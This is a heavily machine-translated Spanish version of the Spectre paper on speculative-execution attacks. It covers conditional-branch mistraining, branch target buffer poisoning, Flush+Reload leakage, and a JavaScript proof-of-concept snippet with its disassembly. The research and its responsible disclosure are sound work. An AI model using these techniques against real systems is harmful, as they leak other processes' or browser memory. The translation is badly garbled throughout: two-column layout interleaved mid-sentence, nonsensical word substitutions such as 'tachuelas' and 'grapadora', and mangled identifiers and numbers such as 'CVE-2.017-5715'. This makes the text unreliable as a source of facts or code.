Los ataques Specter: Explotación de ejecución especulativa *

Paul Kocher 1, Daniel Genkin 2, Daniel Gruss 3, Werner Haas 4, Mike Hamburgo 5,
Moritz Lipp 3, Stefan Mangard 3, Thomas Prescher 4, Michael Schwarz 3, Yuval Yarom 6
1 Independiente

2 Universidad de Pennsylvania y la Universidad de Maryland

3 Universidad Tecnológica de Graz
4 Tecnología Cyberus
5 Rambus, División de Investigación de la criptografía

6 Universidad de Adelaide y Data61

Abstracto 1. Introducción
Los procesadores modernos usan predicción de saltos y la ejecución
especulativa para maximizar el rendimiento. Por ejemplo, si el destino de una Los cálculos realizados por los dispositivos físicos a menudo dejan efectos

rama depende de un valor de memoria que se encuentra en proceso de ser secundarios observables más allá de las salidas inal NOM del cálculo. ataques

leído, las CPU intentarán adivinar el destino y tratar de ejecutar por delante. de canal lateral se centran en exploit- ing estos efectos secundarios con el fin

Cuando el valor de la memoria finalmente llega, la CPU ya sea descartes o de extraer información secreta lo contrario- no disponible. Desde su

compromete el cálculo especulativo. lógica especulativa es infiel en la forma en introducción en los últimos años 90 [25], muchos efectos físicos, tales como el

que se ejecuta, puede acceder a la memoria y los registros de la víctima, y consumo de energía [23, 24], la radiación electromagnética [31], o el ruido

​puede realizar operaciones con efectos secundarios mensurables. acústico [17] se han aprovechado para extraer las claves criptográficas, así
como otros secretos .

Specter ataques implican la inducción de una víctima de la Mientras que los ataques de canal lateral física se pueden utilizar para extraer

especulación tivamente realizar operaciones que no ocurrirían durante información secreta de dispositivos complejos tales como ordenadores y teléfonos

la ejecución del programa correcto y que filtrarse la información móviles [15, 16], estos dispositivos se enfrentan a amenazas adicionales que no

confidencial de la víctima a través de un canal lateral a la adver- sario. requieren equipos de medi- ción externa, ya que ejecutar código de poten-

Este documento describe los ataques prácticos que combinan la cialmente desconocida orígenes. Mientras que algunos ataques basados ​en

metodología de los ataques de canal lateral, ataques de fallas, y la software explotan las vulnerabilidades de software (tales como tampón sobre

programación orientada a rendimiento que pueden leer la memoria vulnerabilidades OW o uso después de liberación fl) otras vulnerabilidades de

arbitraria del proceso de la víctima. En términos más generales, el hardware apalancamiento ataques de software con el fin de filtrar información

documento muestra que las implementaciones de ejecución sensible. Los ataques de este último tipo incluyen ataques que explotan

especulativa violan los supuestos de seguridad que sustentan microarquitecturales caché TIMING [9, 30, 29, 35, 21, 36, 28], predicción de

numerosos mecanismos de seguridad de software, incluyendo la bifurcación his- toria [7, 6], o rama Buffers objetivo [26, 11]) . Software- técnicas

separación de funcionamiento sis- proceso tem, análisis estático, basadas también se han utilizado para montar fallo en- tachuelas que alteran la

contenedores, just-in-time (JIT) de compilación y contramedidas para memoria física [22] o valores internos de la CPU [34].

caché de temporización / lado -Canal ataques. Estos ataques repre-

sentan una amenaza seria a los sistemas reales,

ejecución especulativa es una técnica utilizada por los procesadores de alta

Mientras improvisados ​contramedidas procesador especí fi cos son posibles en
algunos casos, las soluciones de sonido se requieren equis fi al procesador diseña,
así como actualizaciones de instrucción arquitecturas de conjuntos ción (NIA) para
dar arquitectos de hardware y desarrolladores de software a un entendimiento
común en cuanto a lo implementaciones CPU estatales cómputo son (y no son)
permitida a la fuga.
velocidad con el fin de aumentar el rendimiento de adivinar probabilidades
futuras rutas de ejecución y prematuramente a ejecutar las instrucciones en
ellos. Por ejemplo, cuando el control de flujo fl del programa depende de un
valor sin caché se encuentra en la memoria física, puede tardar varios cientos
de ciclos de reloj antes de que el valor sea conocido. En lugar de perder estos
ciclos de marcha en vacío, el procesador adivina la dirección de control de fl
ujo, ahorra un puesto de control de su estado de registro, y procede a ejecutar
el programa especulativamente en el camino adivinado. Cuando el valor

* Después de informar de los resultados aquí, nos informaron de que nuestro trabajo se superpone en Eventualmente llega frommemory el procesador comprueba el cor-

parte, los resultados del trabajo independiente realizado en el Proyecto Cero de Google.

1
rectness de su estimación inicial. Si la suposición era incorrecta, el procesador
descarta la (incorrecta) ejecución especulativa por revertir el estado de registro de
nuevo al punto check- almacenado, lo que resulta en un rendimiento comparable al
ralentí. En caso de que la suposición era correcta, sin embargo, se han
comprometido los resultados ecution ex especulativos, produciendo un significante
no puede per- formance ganar como trabajo útil se llevó a cabo durante la demora.
Desde una perspectiva de seguridad, ejecución especulativa in- volves ejecución
de un programa de una manera posiblemente incorrectas. Sin embargo, como los
procesadores están diseñados para revertir los resultados de una ejecución
especulativa incorrecta en su estado anterior para mantener la corrección, estos
errores fueron previamente AS SUMED no tener implicaciones de seguridad.
1.1 Nuestros resultados
La explotación de la ejecución especulativa. En este trabajo, se
mostrar una nueva clase de ataques microarquitectura que llamamos ataques
Specter. En un nivel alto, Spectre ataca engañar al procesador en
especulativamente ejecución secuencias de instrucciones que no debería haber
ejecutado durante la ejecución del programa correcto. A medida que el tiempo se
revirtieron los efectos de estas instrucciones sobre el estado de la CPU nominal,
los llamamos instrucciones transitorias. Al elegir cuidadosamente qué instrucciones
se ejecutan transitorios especulativamente, somos capaces de filtrar información
desde dentro del espacio de direcciones de memoria de la víctima.
Nos empíricamente demostrar la viabilidad de ataques Specter mediante el uso de
secuencias de instrucciones transitorias con el fin de filtrar información a través de
dominios de seguridad.
Ataques con código nativo. Hemos creado un programa simple de tim Vic- que contiene
datos secretos dentro de su espacio de acceso a la memoria. A continuación, después
de compilar el programa víctima se realizaron búsquedas en el binario resultante y
bibliotecas compartidas del sis- tema operativo de secuencias de instrucciones que se
pueden utilizar para filtrar información desde el espacio de direcciones de la víctima.
Por último, escribimos un programa atacante que ex- ploits función de ejecución
especulativa de la CPU con el fin de ejecutar las secuencias encontradas previamente
como ins- trucciones transitorios. Usando esta técnica hemos sido capaces de leer el
espacio de direcciones de memoria de toda la víctima, incluyendo los Crets Se-
almacenados en su interior.
Ataques usando JavaScript. Además de violar los límites de aislamiento pro- ceso
utilizando código nativo, tachuelas Specter en- también se pueden utilizar para violar
recinto de seguridad del navegador, montándolos a través de código JavaScript
portátil. Se escribió un programa JavaScript que lee correctamente los datos del
espacio de direcciones del proceso del explorador de ejecutarlo.
1.2 Nuestros Técnicas
En un nivel alto, un ataque Espectro viola los límites ción de memoria aisla-
mediante la combinación con la ejecución especulativa
2
datos ex filtración a través de canales encubiertas microarquitecturales. Más
especıficamente, con el fin de montar un ataque Specter, un atacante inicia
mediante la localización de una secuencia de instrucciones dentro del espacio de
direcciones del proceso que, cuando se ejecuta actúa como un transmisor de canal
encubierto que pierde memoria la vic- de tim o se registra contenido. El atacante
engaña a la CPU en forma especulativa y erróneamente ejecu- cuting esta
secuencia de instrucciones, se escapa de esta manera la información de la vic- de
Tim sobre el canal encubierto. Por último, la grapadora en- recupera la información
de la víctima sobre el canal encubierto. Mientras que los cambios en el estado de la
CPU nominal resultante de esta ejecución especulativa errónea eventualmente son
revertidos, los cambios en otras partes de la microarquitectura del la CPU (tales
como contenido de la caché) pueden sobrevivir reversión estado nominal.
La descripción anterior de ataques Specter es general, y debe ser una
instancia concreta con una forma de inducir la ejecución especulativa
errónea, así como con un canal secreto de la microarquitectura. Mientras
que muchas opciones son posibles para la encubierta nente canal
compo-, las implementaciones descritas en este trabajo utilizan un canal
secreto basado-cache usando Flush + Reload [37] o Expulsar + Reload
[28] técnicas.
Ahora procedemos a describir nuestras técnicas para ING inducción y que
influyen en la ejecución especulativa errónea.
La explotación de saltos condicionales. Para explotar las ramas
condicionales, el atacante necesita el predictor de saltos a mispredict la
dirección de la rama, a continuación, el pro cesador debe ejecutar
especulativamente código que no sería ejecutado de otra forma que se
escapa de la información solicitada por el atacante. Aquí está un ejemplo de
código explotable:
si (x <array1_size)
y = array2 [array1 [x] * 256];
En este ejemplo, La variable X contiene attacker-
datos controlados. los Si declaración compila a una instrucción de salto, cuyo
propósito es verificar que el valor de X está dentro de un rango legal, lo que
garantiza que el acceso a la
array1 es válida.
Para la hazaña, el primer atacante fi invoca el código en cuestión con
entradas válidas, el entrenamiento del predictor de saltos esperar que el Si será
verdad. El atacante entonces invoca el código con un valor de X fuera de los
límites de array1
y con tamaño array1 sin caché. La CPU adivina que la comprobación de
límites será verdad, la eje- especulativamente cutis de la lectura de array2
[array1 [x] * 256] utilizando los maliciosos X. La lectura de matriz2 carga
datos en la memoria caché en una dirección que depende de Array1 [x]
utilizando los maliciosos X. El cambio en el estado de caché no se revierte cuando
el procesador se da cuenta de que la ejecución especulativas era errónea, y puede
ser detectado por el adversario de encontrar un byte de la memoria de la víctima.
Mediante la repetición con diferentes valores de X, esta construcción puede ser
explotado para leer la memoria de la víctima.
La explotación de las ramas indirectos. A partir de la programación orientada
Regresar- (ROP) [33], en este método la tacker en- elige un artilugio del
espacio de direcciones de la víctima y influye en la víctima para ejecutar el
gadget especulativamente. A diferencia de la ROP, el atacante no se basa en
una vulnerabilidad en el código víctima. En su lugar, el atacante entrena el
Poder Target Buffer (BTB) a mispredict una rama de una instrucción de
bifurcación indirecta a la dirección del aparato, lo que resulta en una ejecución
especulativa del gadget. Si bien las instrucciones especulativamente
ejecutados son abandonados, sus efectos en la caché no se revierten. Estos
efectos pueden ser utilizados por el gadget para filtrar información sensible. Se
muestra cómo, con una cuidadosa selección de un gadget, este método puede
ser utilizado para leer la memoria arbitraria de la víctima.
Para mistrain la BTB, el atacante fi NDS la dirección virtual del gadget en el
espacio de direcciones de la víctima, a continuación, realiza ramas indirectas a
esta dirección. Esta formación se realiza desde el espacio de direcciones del
atacante, y no importa lo que reside en la dirección de aparato en el espacio de
direcciones del atacante; todo lo que se requiere es que la rama se utiliza para las
ramas de formación para utilizar la misma dirección virtual de destino. (De hecho,
siempre y cuando el atacante maneja excepciones, el ataque puede funcionar
incluso si no existe un código asignado a la dirección virtual del gadget en el
espacio de direcciones del atacante.) Tampoco hay necesidad de un partido
completo de la dirección de origen de la rama utilizado para el entrenamiento y la
dirección de la sucursal targetted. Por lo tanto, el atacante tiene signi fi cativo
flexibilidad en la creación de la formación.
Otras variantes. Nuevos ataques pueden ser diseñados mediante la variación de
tanto el método de lograr ción ejecu- especulativo y el método utilizado para filtrar la
información. ejem- plos de la antigua incluyen las instrucciones de devolución
mistraining o regresan de las interrupciones. Ejemplos de estos últimos incluyen la
filtración de información a través de variaciones de temporización o por contención
erating ge- en unidades aritméticas.
1.3 Hardware Targeted y tus Sta actual
Hardware. Tenemos empíricamente verificable ed la vulnera- bilidad de varios
procesadores de Intel a los ataques Specter, cluding in- Ivy Bridge, Haswell y
Skylake procesadores basados. También hemos Veri fi ed aplicabilidad del
ataque a las CPU AMD Ryzen. Por último, también hemos éxito- totalmente
montado ataques Specter en varios procesadores Samsung y Qualcomm (que
utilizan una arquitectura ARM) que se encuentran en los teléfonos móviles
populares.
Estado actual. El uso de la práctica de cierre dis- responsable, hemos dado
a conocer una versión preliminar de los resultados a Intel, AMD, ARM,
Qualcomm, así como a otros proveedores de CPU. También hemos puesto
en contacto otras em presas com- como Amazon, Apple, Microsoft, Google
y programa. Por ejemplo, esto ocurre cuando OUT-
3
otros. La familia fantasma de los ataques se documenta de- bajo
CVE-2017 a 5753 y CVE-2.017-5715.
1.4 fusión
Meltdown [27] es un ataque de la microarquitectura relacionada que explota ejecución
fuera de orden con el fin de perder memoria física del objetivo. Crisis es distinta de
ataques Specter en dos formas principales. En primer lugar, a diferencia de Spectre,
Deshielo no utiliza predicción de saltos para alcanzar la ejecución especulativa. En su
lugar, se basa en la observación de que cuando una instrucción provoca una trampa,
siguiendo ins- trucciones que se ejecutaron fuera de orden son abortados. En
segundo lugar, Deshielo explota una vulnerabilidad de elevación de privilegios
capacidad específico a los procesadores de Intel, debido a lo cual especulación
instrucciones ejecutadas tivamente pueden pasar por alto pro- tección de memoria. La
combinación de estas cuestiones, Deshielo accede a la memoria del núcleo desde el
espacio de usuario. Este acceso provoca una trampa, pero antes de que se emita la
trampa, el código que sigue a la fuga de acceso a los contenidos de la memoria se
accede a través de un canal de memoria caché.
A diferencia de fusión, el ataque Espectro funciona en procesadores
Intel no, incluyendo AMD y los procesadores ARM. Además, el parche
KAISER [19], que ha sido ampliamente aplicada como una mitigación al
ataque Meltdown, no protege contra Espectro.
2. Fondo
En esta sección se describen algunos de los componentes turales microarchitec-
de los procesadores modernos de alta velocidad, la forma en que mejoran el
rendimiento, y cómo pueden filtrar información de los programas en ejecución.
También describimos orientadas al retorno de programación (ROP) y 'aparatos'.
2.1 ejecución fuera de orden
Un fuera de servicio paradigma ejecución aumenta el lización uti- de los
componentes del procesador al permitir instrucciones más abajo en la
corriente de instrucciones de un pro- grama a ser ejecutadas en paralelo
con, y, a veces BE- tanto, precedente instrucciones.
Las colas del procesador completaron instrucciones del reordenar búfer. Las
instrucciones en la memoria temporal de reordenación son retirado
en el orden de ejecución del programa, es decir, una instrucción única se retiró
cuando todas las instrucciones anteriores han sido com- pletó y se retiró.
Sólo tras la jubilación, los resultados de las ins- trucciones jubilados están
comprometidos y se hace visible externamente.
2,2 ejecución especulativa
A menudo, el procesador no conoce el futuro flujo de instrucciones de un
la ejecución de la orden alcanza una bifurcación condicional instrucción ción cuya
dirección depende de precedente instrucciones cuya ejecución no se ha
completado todavía. En tales casos, el procesador puede hacer ahorrar un puesto
de control que contiene su estado actual registro, hacer una predicción en cuanto
al camino que seguirá el programa, y especulativamente ejecutar instrucciones a lo
largo del camino. Si la predicción resulta ser correcto, no se necesita el puesto de
control y las instrucciones se retiró en el orden de la ejecución del programa. De lo
contrario, cuando el procesador determina que siguió el camino equivocado, abandona
todas las instrucciones pendientes a lo largo de la ruta mediante la recarga de su
estado desde el puesto de control y la ejecución continúa a lo largo del camino
correcto.
El abandono de las instrucciones se lleva a cabo de manera que los cambios
realizados por instrucciones fuera de la ruta de ejecución del programa no se hacen
visibles para el programa. Por lo tanto, la ejecución especulativa mantiene el estado
lógico del programa como si la ejecución siguió el camino correcto.
Predicción 2.3 Branch
ejecución especulativa requiere que el procesador de hacer conjeturas en cuanto al
resultado probable de las instrucciones de bifurcación. Mejores predicciones
mejorar el rendimiento mediante el aumento del número de operaciones ejecutadas
especulativamente que pueden cometerse con éxito.
Varios componentes del procesador se utilizan para la predicción de las ramas de
los resultados. El Target Buffer Branch (BTB) mantiene un mapeo de direcciones de
instrucciones de ramificación ecuted recientemente ex a direcciones de destino [26].
Los procesadores pueden utiliza la BTB para predecir futuras vestidos código de ad-
incluso antes de la decodificación de las instrucciones de bifurcación. Evtyushkin et
al. [11] analizar la BTB de un procesador Intel Haswell y concluyen que sólo los 30
bits de fi cativas menos significantes de la dirección de salto se utilizan para indexar
la BTB. Nuestros experimentos sobre los resultados muestran similares, pero que
sólo se requieren 20 bits.
Por ramas condicionales, registrando la dirección de destino no es su fi
ciente para predecir el resultado de la rama. Para predecir si un salto
condicional se toma o no, el procesador mantiene un registro de las últimas
ramas OUT- viene. Bhattacharya et al. [10] analizar la estructura de
predicción de la historia sucursal en los últimos procesadores de Intel.
2.4 La jerarquía de memoria
Para cerrar la brecha de velocidad entre el procesador más rápido y la memoria más
lenta, procesadores utilizan una jerarquía de cachés Suc cesivamente más pequeños
pero más rápidos. Los cachés dividen la memoria en trozos de tamaño fijo llamados líneas,
con tamaños de línea de iCal typ- ser 64 o 128 bytes. Cuando el procesador necesita
datos de la memoria, se fi cheques primeros si el L1 caché, en la parte superior de la
jerarquía, contiene una copia. En el caso de una acierto de caché, cuando los datos se
encuentra en la caché, la
4
los datos se recuperan de la memoria caché L1 y utilizado. De lo contrario, en una error
de caché, se repite el procedimiento para recuperar los datos de la caché de nivel
superior. Además, los datos se almacenan en la caché L1, en caso de que se necesita
de nuevo en un futuro próximo. procesadores Intel modernos normalmente tienen tres
niveles de caché, con cada núcleo que tiene dedicados cachés L1 y L2 y todos los
núcleos que comparten una memoria caché L3 común, también conocido como el
último nivel de caché (LLC).
2.5 tachuelas de la microarquitectura del Canal Lateral At-
Todos los componentes de la microarquitectura que discutimos anteriormente mejoran el
rendimiento del procesador al predecir el futuro comportamiento del programa. Con ese
objetivo, que mantienen el estado que depende del comportamiento del programa pasado y
asumen que el comportamiento futuro es similar o relacionada con el comportamiento
pasado.
Cuando varios programas se ejecutan en el mismo hard- ware, ya sea
simultáneamente o por medio de intercambio de tiempo, los cambios en el estado
de la microarquitectura causados ​por el comportamiento de un programa pueden
afectar a otros programas. Esto, a su vez, puede dar lugar a fugas de información
no deseadas de un pro- grama a otro [13]. trabajos anteriores han demostrado
At-tachuelas que se filtran información a través de BTB [26, 11], la historia rama
[7, 6], y cachés [29, 30, 35, 21].
En este trabajo usamos el Flush + Reload técnica [21, 36] y su variante,
Expulsar + Reload [20] para la filtración de información tiva sensi-. El uso de
estas técnicas, el atacante co- mienza desalojando de la caché de una línea
de caché compartida con la víctima. Después de la víctima ejecuta por un
tiempo, la grapadora en- mide el tiempo que tarda en realizar una lectura de
memoria en la dirección que corresponde a la línea de caché desalojado. Si
la víctima accede a la línea de caché supervisado, los datos estarán en la
caché y el acceso será rápido. De lo contrario, si la víctima no ha tenido
acceso a la línea, la lectura será lenta. Por lo tanto, midiendo el tiempo de
acceso, el atacante aprende si la víctima accede a la línea de caché itored
MON entre el desalojo y medidas de sondeo.
La principal diferencia entre las dos técnicas es el mecanismo utilizado
para desalojar la línea de caché monitorizado de la caché. En la técnica +
Actualizar Flush, la grapadora en- utiliza una instrucción máquina dedicada,
por ejemplo, de x86
clflush, para desalojar la línea. En Expulsar + Reload, desalojo se consigue forzando la
contención en el conjunto de memoria caché que almacena la línea, por ejemplo,
mediante el acceso a otras ubicaciones de memoria que se compran en la memoria caché
y (debido al tamaño limitado de la memoria caché) hacer que el procesador para
descartar el desalojar a la línea que se sondeó posteriormente.
2.6 Programación Orientada Retorno
Programación Orientada-retorno (ROP) [33] es una técnica para la explotación de tampón
sobre vulnerabilidades de fluencia. Los trabajos téc- nica por el encadenamiento de
fragmentos de código máquina, llamada
aparatos que se encuentran en el código de la Vic- tim vulnerables. Más especí
fi camente, el atacante fi NDS primera gad- utilizable se interpone en el binario
víctima. A continuación, utiliza un buffer sobre la vulnerabilidad de flujo para
escribir una secuencia de direcciones de aparatos en la pila del programa
víctima. Cada aparato realiza algún cálculo antes de ejecutar una instrucción de
retorno. La instrucción de retorno toma la dirección de retorno de la pila, y
porque el atacante controlar esta dirección, la instrucción de retorno saltar
efectivamente en la próxima gad- entrar en la cadena.
3 Ataque general
Specter ataques inducen una víctima para realizar especulativamente operaciones
que no se producirían durante la ejecución del programa correcto y que se filtran de
confidencial infor- mación a la víctima a través de un canal lateral al adversario. Nos
Fi escriba primera de- variantes que aprovechan la rama condicional mispre-
dicciones (Sección 4), a continuación, las variantes que aprovechan la dicción
mispre- de los objetivos de ramas indirectos (sección 5).
En la mayoría de los casos, el ataque comienza con una fase de configuración,
donde el adversario lleva a cabo operaciones que mistrain el procesador para que le
proporcione más tarde hacer una predicción errónea exploitably especulativa.
Además, la fase de configuración general incluye pasos para ayudar a inducir que la
ejecución ulative espec-, tales como la realización de la memoria apuntado lee que
causa que el procesador se desaloje de su caché un valor que se requiere para
determinar el destino de una instrucción de ramificación. Durante la fase de
configuración, el versario ad- También puede preparar el canal lateral que será
utilizado para la extracción de información de la víctima, por ejemplo, por la
formación de la per- USH fl o desalojo de parte de una USH fl + Actualizar o evict +
Actualizar ataque.
Durante la segunda fase, el procesador ejecuta la instrucción
especulativamente (s) que la transferencia confidencial informa- ción
del contexto víctima en un canal lateral de la microarquitectura. Esto
puede ser provocado por tener la solicitud tacker franco que la víctima
para realizar una acción (por ejemplo, a través de una syscall, socket,
archivo, etc.). En otros casos, de la tacker en- puede aprovechar la
ejecución especulativa (mal) de su propio código con el fin de obtener
información sensible desde el mismo proceso (por ejemplo, si el
código de ataque se recinto de seguridad por un intérprete, compilador
just-in-time o lenguaje 'seguro' y desea leer la memoria que no se
supone que el acceso). Mientras que la ejecución especulativa
potencialmente puede exponer datos sitive sen- a través de una
amplia gama de canales secundarios,
Para la fase final, se recupera los datos sensibles. Para los ataques Specter
usando USH fl + recargar o desalojo + recargar, el proceso de recuperación consiste
en medir cuánto tiempo toma lecturas
5
de direcciones de memoria en las líneas de caché siendo cual supervisa.
Specter ataques solamente asumen que especulativamente instrucciones eje-
cuted pueden leer de la memoria que el proceso víctima podría acceder
normalmente, por ejemplo, sin provocar un fallo de página o excepción. Por
ejemplo, si un procesador, impediría la ejecución especulativa de instrucciones en
pro- cesos usuario acceda a la memoria del núcleo, el ataque seguirá
funcionando. [12]. Como resultado, Spectre es ortogonal a abajo por fusión [27],
que explota escenarios donde algunos CPUs permitir la ejecución fuera de orden
de las instrucciones de uso para leer la memoria del núcleo.
4 La explotación de la rama condicional Mispre-
dicción
Considere el caso de que el código del listado 1 es parte de una función
(tal como una syscall kernel o biblioteca criptográfica) que recibe un
entero sin signo X desde una fuente no fiable. El proceso que se ejecuta
el código tiene acceso a una matriz de bytes sin signo array1 de tamaño
tamaño array1, y una segunda matriz de bytes matriz2 de tamaño de 64 KB.
si (x <array1_size)
y = array2 [array1 [x] * 256];
Listado 1: Condicional Branch Ejemplo El fragmento de código comienza
con una comprobación de límites en X
que es esencial para la seguridad. En particular, esta comprobación evita que el
procesador de la lectura de la memoria sensible fuera de array1. De lo contrario,
una entrada fuera de límites
X podría desencadenar una excepción o podría provocar que el procesador para acceder a
la memoria sensible mediante el suministro x = ( dirección de un byte secreto para leer) - ( dirección
de base de array1).
Por desgracia, durante la ejecución especulativa, la rama dicional con- para la
comprobación de límites puede seguir el camino de polaridad inversa. Por ejemplo,
supongamos que un adversario hace que el código se ejecute de forma que:
• El valor de X se elige maliciosamente (y fuera de la grada) tal que Array1
[x] resuelve un byte secreto k en algún lugar de la memoria de la
víctima;
• tamaño array1 y matriz2 no están presentes en la caché del cesador pro, pero k se
almacena en caché; y
• operaciones anteriores recibieron valores de X que eran válidas, lo que
lleva el predictor de saltos para asumir la Si
es probable que sea cierto.
Esta fi guración caché con puede ocurrir naturalmente o puede ser creado por un
adversario, por ejemplo, mediante la simple lectura de una gran cantidad de memoria para
llenar la memoria caché con los UE Val- no relacionadas, y luego tener el kernel utilizar la
clave secreta en una operación gitimate le-. Si la estructura de la memoria caché es
conocido [38]
o si la CPU proporciona una instrucción USH caché fl (por ejemplo, el 86 clflush la
instrucción), entonces el estado de memoria caché se puede lograr aún más fi
ciente.
Cuando el código compilado por encima corre, el procesador comienza
comparando el valor maliciosa de X en contra
array1 tamaño. Leyendo tamaño array1 se traduce en una falta de memoria
caché, y el procesador se enfrenta a un retraso sustancial hasta que su valor
está disponible de DRAM. Durante esta espera, el predictor de saltos asume la Si
será verdad, y la lógica de ejecución especulativa añade X a la dirección base de
array1 y pide a los datos en la dirección resultante del subsistema de memoria.
Esta lectura es un acierto de caché, y rápidamente se devuelve el valor del byte
secreto k. La lógica de ejecución especulativas utiliza entonces k para calcular la
dirección de matriz2 [ k * 256], a continuación, envía una solicitud para leer esta
dirección de la memoria (lo que resulta en otro error de caché). Mientras que la
lectura de matriz2 está pendiente, el valor de
tamaño array1 finalmente llega de DRAM. El sor procesiones se da cuenta de
que su ejecución especulativa era errónea, y rebobina su estado de registro.
Sin embargo, en Sors procesiones reales, la lectura especulativa de matriz2 afecta formación víctima función () para hacer que el predictor de saltos
el estado de caché de una manera fi c dirección especí, donde la dirección
depende de k.
Para completar el ataque, el adversario simplemente tiene que detectar el
cambio en el estado de caché para recuperar el byte SE- CRET k. Esto es fácil si matriz2
es legible por el atacante ya que la siguiente lectura a matriz2 [ norte* 256] será
rápido para n = k y lento para todos los demás norte ∈ 0..255. De lo contrario, un
ataque-y-sonda de Londres [29] se puede inferir k por de- TECCIÓN el desalojo
causado por la lectura desde matriz2. Alternativamente, el adversario puede llamar
inmediatamente a la función Tar conseguir de nuevo con un valor en la cancha X' y
medi- seguro de cuánto tiempo tarda la segunda llamada. Si array1 [x ']
es igual k, entonces la ubicación accesible en matriz2 estará en la memoria caché
y la operación tenderá a ser más rápido que si array1 [x ']! = k. Esto produce una
operación de compara- memoria que, cuando se le llama varias veces, puede
resolver de bytes de memoria según se desee. Otra variante aprovecha el estado
de caché de entrar en la ejecución especulativa, ya que el rendimiento de los
cambios en la ejecución especulativa en función de si matriz2 [ k * 256] fue
almacenado en caché, que luego se puede inferir sobre la base de los efectos
medibles de la subsiguiente instrucciones especulativamente ejecutados.
4.1 Discusión
Los experimentos se realizaron en múltiples arquitecturas de
procesadores x86, incluyendo Intel Ivy Bridge (i7-3630QM), Intel
Haswell (i7-4650U), Intel Skylake (especi fi cada Xeon en la nube de
Google), y AMD Ryzen. Se observó la vulnerabilidad Spectre en todas
estas CPUs. Se observaron resultados similares en ambos 32 y 64 bits
modos, y Linux y Windows. Algunos procesadores ARM también
6
apoyar la ejecución especulativa [2], y la prueba inicial ha confirmado que los
procesadores ARM son impactados también.
ejecución especulativa puede proceder muy por delante del procesador
principal. Por ejemplo, en una superficie i7 Pro 3 (i7-4650U) que se utiliza
para la mayoría de las pruebas, el código en Ap- pendix A trabaja con hasta
188 instrucciones simples in- serted en el código fuente entre el ' Si 'Declaración
y el Acceso a la línea array1 / matriz2.
4.2 Ejemplo de Aplicación en C
Apéndice A incluye código de demostración en C para los procesadores x86.
En este código, si las instrucciones compiladas en
víctima función () fueron ejecutados en un orden estricto programa, la
función sólo leería array1 [ 0..15] desde tamaño array1 = 16. Sin embargo,
cuando se ejecuta especulativamente, fuera de los límites lecturas son
posibles.
los leer bytes de memoria () función hace varias llamadas a la
esperar valores válidos para X, luego llama con un fuera de límites X. El
salto condicional mis- predice, y la subsiguiente ejecución especulativa
lee un byte secreto utilizando los límites fuera de la X. El código
especulativa entonces lee de array2 [array1 [x] * 512],
filtrar el valor de Array1 [x] en el estado de caché.
Para completar el ataque, un simple sonda + ras fl se utiliza para identificar
qué línea de caché en matriz2 se cargó, volver a veaing los contenidos de la
memoria. El ataque se repite veces erales SeV, por lo que incluso si el byte
objetivo era inicialmente en caché un-, la primera iteración ponerla en la memoria
caché.
El código no optimizado en el Apéndice A lee madamente aproximado de 10 KB
/ segundo en una superficie i7 Pro 3.
4.3 Ejemplo Implementación en
JavaScript
Como prueba de concepto-, el código JavaScript estaba escrito que,
cuando se ejecuta en el navegador Google Chrome, permite JavaScript
para leer la memoria privada del proceso en el que se ejecuta (véase el
Listado 2). La parte del código JavaScript utilizado para realizar la fuga
es tan mínimos si-, donde la constante Tabla1 STRIDE = 4096 y
BYTES Tabla1 = 2 25:
En pasa mistraining rama-predictor, índice se establece (a través de
operaciones de bits) a un valor de en alcance, entonces en el índice de iteración nal
internet está situado a una dirección fuera de límites en simpleByteArray. La variable
localJunk se utiliza para asegurar que las operaciones no se han optimizado, y el “| 0 ”Las
operaciones actúan como pistas de optimización para el intérprete de JavaScript
que los valores son números enteros.
Al igual que otros motores de JavaScript optimizadas, V8 lleva a cabo la
compilación justo a tiempo para convertir el lenguaje JavaScript en ma- chine.
Para obtener el desmontaje x86 de la
 1 Si (Índice <simpleByteArray.length) {
2 index = simpleByteArray [índice | 0];
3 index = (((índice * TABLE1_STRIDE) | 0) y (TABLE1_BYTES-1)) | 0;
4 localJunk ^ = probeTable [índice | 0] | 0;
5}

Listado 2: Explotación de ejecución especulativa a través de JavaScript.

1 r15 CMPL, [RBP-0xE0] ; Comparación de índice (R15) contra simpleByteArray.length

2 0x24dd099bb870 JNC ; Si index> = longitud, rama a la instrucción después de movq a continuación
3 REX.W leaq RSI, [r12 + RDX * 1] ; Set RSI = R12 + RDX = addr del primer byte en simpleByteArray
4 RSI movzxbl, [RSI + r15 * 1] ; Leer bytes de dirección RSI + r15 (= dirección base + índice)
5 shll RSI, 12 ; Multiplicar por RSI 4096 mediante el desplazamiento hacia la izquierda de 12 bits} \% \

6 RSI andl, 0x1ffffff ; Y tranquiliza JIT que la próxima operación está en la cancha
7 RSI movzxbl, [RSI + r8 * 1] ; Leer de probeTable
8 RSI xorl, RDI ; XOR como resultado la lectura en localJunk
9 REX.W movq RDI, RSI ; Copiar localJunk en RDI

Listado 3: Desmontaje de ejecución especulativa en el Ejemplo JavaScript (Listado 2).

JIT de salida durante el desarrollo, se utilizó la herramienta de línea de cedido un temporizador de alta resolución que proporciona suf resolución fi ciente.

comandos D8. ajuste manual del código fuente de plomo ing hasta el fragmento
anterior se hizo para obtener el valor de
simpleByteArray.length en la memoria local (en lugar de almacenar en caché en
un registro o requiriendo múltiples instrucciones para ir a buscar). Ver Listado 3
para la salida de desmontaje resultante de D8 (que utiliza sintaxis conjunto de AT
& T).
los clflush la instrucción no es accesible desde JavaScript, por lo caché fl
ushing se llevó a cabo mediante la lectura de una serie de direcciones a intervalos
de 4096 bytes de una gran variedad. Debido a la memoria y con caché fi guración
en procesadores Intel, una serie de ~ 2000 tales lecturas (ing Dependiendo del
tamaño de la caché del procesador) eran adecuadas desalojar a los datos de las
memorias caché del procesador de direcciones que tienen el mismo valor en bits
de dirección 11-6 [38].
5 Envenenamiento Ramas indirectos
instrucciones de salto indirectos tienen la capacidad de saltar a más de
dos posibles direcciones de destino. Por ejemplo, las instrucciones x86
pueden saltar a una dirección en un registro ( “ eax JMP “), Una dirección
en una posición de memoria (” JMP [EAX] ”O“ JMP dword ptr [0x12345678] “),
O una dirección de la pila (” retirado “). ramas indirectos también se admiten
en ARM (por ejemplo, “ MOV PC, R14 “), MIPS (por ejemplo,“ jr $ ra “),
RISC-V (por ejemplo,“ jalr x0, x1,0 “), y otros procesadores.

Los resultados filtrados se transmiten a través del estado de caché probeTable
[ norte* 4096] para norte ∈ 0..255, por lo que cada intento comienza con un pase fl
maliciosos, ejecución especulativa puede continuar en un lugar elegido por el
ushing que consiste en una serie de lecturas a partir de probeTable [ norte* 4096] utilizando
los valores de n> 256. El caché parece tener varios modos para decidir qué
dirección para desalojar, por lo que para fomentar un modo (menos utilizado
